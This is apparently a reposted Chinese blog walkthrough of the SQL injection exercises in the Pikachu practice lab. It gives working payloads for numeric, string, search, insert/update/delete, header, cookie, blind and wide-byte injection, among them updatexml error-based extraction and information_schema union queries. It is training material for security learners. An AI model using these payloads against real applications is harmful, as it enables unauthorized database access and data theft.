pikachu sql注入


数字型注入(POST)

因为是数字性不需要加字符测试

 

 把BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据,说明存在数字型注入漏洞。

 

 

字符型注入(GET)

输入“kobe”,可以得到下面的输出

 

 

 

 

需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

输入kobe‘ or 1=1#进行测试 可得结果

 

 

搜索型注入

 

构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下

xxxx%' or 1=1#

XX型注入

使用payload xx')or 1=1# 可得

 

 

 

insert/update注入

1.insert注入

使用updataxml 函数

注入payload

1' or updatexml(1,concat(0x7e,database()),0) or'

 

 

得到皮卡丘的数据库名字是 pikachu

2 update注入

先登录进去,在修改资料处抓包
Payload和insert注入相同:

1' or updatexml(1,concat(0x7e,database()),0) or'

同样能得到皮卡丘的数据库名字是 pikachu

 

delete注入

先进行留言 在删除的时候抓包

由于是get的类型的 在payload记得进行url编码

payload 与之前一样

 

 

 

得到皮卡丘的数据库名字是 pikachu

http header注入

先进行登录 然后开始抓包

 

 

在ua头进行注入 payload相同

 

 

 

 

 

 

 得到皮卡丘的数据库名字是 pikachu

COOKIE
cookie中的admin也是一个注入点

还有 cookie 也是可以注入的,后端可能会取得我们的 cookie,后端通过拼接 SQL 语句进行验证

在 cookie 的用户名后面加上一个单引号并发送

 

报错 有注入点

构造相同payload 同样得到数据库

 

 

  得到皮卡丘的数据库名字是 pikachu

 

盲注 (base on boolian)

只有加and 1=1#才能返回个人信息,or 1=1#报错

用函数来构造payload

kobe' and ascii(substr(database(),1,1))=112#

 kobe' and ascii(substr(database(),1,1)>110#

 kobe' and ascii(substr(database(),1,1)<113#

 112通过多次比较才能试出来

 然后获取表名
test payload:
kobe'  union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

然后获取字段名

kobe'  union select table_name,column_name from information_schema.columns where table_name='users'#

盲注(base on time)

payload:

kobe’ and sleep(5)#

 

 

看到时间线是5s,说明存在基于时间的盲注

使用payload

kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回结果 说明不是 "a" 改为”p”不返回  一直到确定数据库的全称。

宽字节注入

在后台单引号会被转义 改使用payload

kobe%df' or 1=1#


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM